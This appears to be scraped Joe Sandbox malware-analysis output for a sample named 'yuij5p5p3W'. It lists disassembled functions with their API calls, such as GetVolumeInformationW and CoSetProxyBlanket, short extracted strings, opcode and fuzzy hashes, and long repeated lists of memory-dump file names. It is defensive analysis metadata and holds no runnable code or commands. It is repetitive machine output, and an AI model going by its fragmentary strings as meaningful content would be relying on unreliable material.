Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID:
String ID: !@$,$8$9$?$Z$\$\$\$]$]$]$^$^$^$_$_$_$d$g$s
API String ID: 0-1565257739
Opcode ID: ce3e00bc14b5f3f0068b111c2f70a7950d6d9b5ac35dedb70f7e4a62170d0d54
Instruction ID: 486d5e90025b8ac18a93589fdfac57dc1b8ec7774dab7a0d7280fef815d26595
Opcode Fuzzy Hash: ce3e00bc14b5f3f0068b111c2f70a7950d6d9b5ac35dedb70f7e4a62170d0d54
Instruction Fuzzy Hash: A622897150C7888FD3248F28C48536EBBE1FB95318F58496EE4D9C73A2D6B99885CB43

Function 00859280 Relevance: 23.4, APIs: 5, Strings: 8, Instructions: 661
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(00001F7A), ref: 00859551
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0085958F
SysFreeString.OLEAUT32 ref: 008598DF
SysFreeString.OLEAUT32(?), ref: 008598E5
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,00001F7A,00000000,00000000,00000000,00000000), ref: 0085992E

Strings

b{tu, xrefs: 008592D9, 0085939B
:;$%, xrefs: 008599C0
O^, xrefs: 008597A6
=hn, xrefs: 00859676
Jtuj, xrefs: 008592E5
t"j, xrefs: 0085966E
SB, xrefs: 0085979E
gd, xrefs: 0085968E

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID: String$Free$AllocBlanketInformationProxyVolume
String ID: :;$%$=hn$Jtuj$O^$SB$b{tu$gd$t"j
API String ID: 1773362589-1335595022
Opcode ID: 1aba4c82ebe2751627665154e82d2e956006eef3f655dd6809ada9a6e96a2082
Instruction ID: 5dfd9a5d3adb2e1250df14bdd86824af5bcb02c59d49161a07d497086cbc0329
Opcode Fuzzy Hash: 1aba4c82ebe2751627665154e82d2e956006eef3f655dd6809ada9a6e96a2082
Instruction Fuzzy Hash: E022FF76A183519BD310CF28C881B5BBBE2FBC5314F28892CE9D4DB291D775D849CB82

Function 0082B100 Relevance: 20.4, Strings: 16, Instructions: 425
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(Y6[, xrefs: 0082B285
D!M#, xrefs: 0082B1F9
XyR{, xrefs: 0082B2D5
S%U', xrefs: 0082B203
yQrS, xrefs: 0082B271
b6j4, xrefs: 0082B57D
k=W?, xrefs: 0082B23F
}KcU, xrefs: 0082B6DF
Ym]o, xrefs: 0082B2B7
zMzO, xrefs: 0082B267
9]_, xrefs: 0082B28F
hI2K, xrefs: 0082B25D
Gq\s, xrefs: 0082B2C1
.AtC, xrefs: 0082B249
pE}G, xrefs: 0082B253
Gu@w, xrefs: 0082B2CB

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID:
String ID: (Y6[$.AtC$9]_$D!M#$Gq\s$Gu@w$S%U'$XyR{$Ym]o$b6j4$hI2K$k=W?$pE}G$yQrS$zMzO$}KcU
API String ID: 0-18744084
Opcode ID: 9ec248e75d922d24cc0405c9608ba12a53efb0d5e221f204c8d5f4e9f71ffcc1
Instruction ID: 88dd0dba8bce5c3e0a2159820b47afeb275a61ea4f27ee34d9db6db4788a4e1b
Opcode Fuzzy Hash: 9ec248e75d922d24cc0405c9608ba12a53efb0d5e221f204c8d5f4e9f71ffcc1
Instruction Fuzzy Hash: 260245B1200B01CFD324CF25E891B9BBBE1FB45314F118A2CD5AB8BAA0D775A445CF50

Function 0082F60D Relevance: 16.6, APIs: 1, Strings: 8, Instructions: 845
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(?), ref: 0082FDFC

Strings

w, xrefs: 0082FAAD
#, xrefs: 0082F721
m, xrefs: 0082F8F4
g, xrefs: 0082F9EA
=, xrefs: 0082F978
\, xrefs: 0082FB0F
x, xrefs: 0082FBD4
6, xrefs: 0082F620

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: #$6$=$\$g$m$w$x
API String ID: 237503144-139252074
Opcode ID: 1bac087d1076c3c7e4478b424b0263b20bd8697415070a6f238b44ade6791055
Instruction ID: 40da3e491f627d7801695043e26d263967c9666d38a85616b98397b4b80069c4
Opcode Fuzzy Hash: 1bac087d1076c3c7e4478b424b0263b20bd8697415070a6f238b44ade6791055
Instruction Fuzzy Hash: 0C72A33261C7908BD728DA38C85539FBAE2ABD5324F198B3DE4E9C73C2D67489418743

Function 00858EA0 Relevance: 15.3, Strings: 12, Instructions: 287
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\, xrefs: 00858F4B
^, xrefs: 00859059
\, xrefs: 0085919B
\, xrefs: 00859063
], xrefs: 00859196
_, xrefs: 00859054
^, xrefs: 00858F41
], xrefs: 0085905E
_, xrefs: 00858F3C
^, xrefs: 00859191
_, xrefs: 0085918C
], xrefs: 00858F46

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID:
String ID: \$\$\$]$]$]$^$^$^$_$_$_
API String ID: 0-1108506012
Opcode ID: 265654e48bb59d726fe2474b82f264d9fd1a79b0ba85c52620fe82a47cd39ea2
Instruction ID: 8aec376fbe7dcafa5831faea47f0fbce14ee7a43ac8b77a948cc28e9403c0b34
Opcode Fuzzy Hash: 265654e48bb59d726fe2474b82f264d9fd1a79b0ba85c52620fe82a47cd39ea2
Instruction Fuzzy Hash: 94B1087164C784CBD3148A28CC8435BBFD2A7D532AF1D4B1DE9E9973C2C6B9C8498746

Function 008439B9 Relevance: 14.8, APIs: 2, Strings: 6, Instructions: 822
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#E#G, xrefs: 00843D1C
rp, xrefs: 00843FF3
eN, xrefs: 008441BA
+A#C, xrefs: 00843D15
=]=_, xrefs: 00843D0E
_^]\, xrefs: 00843865

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
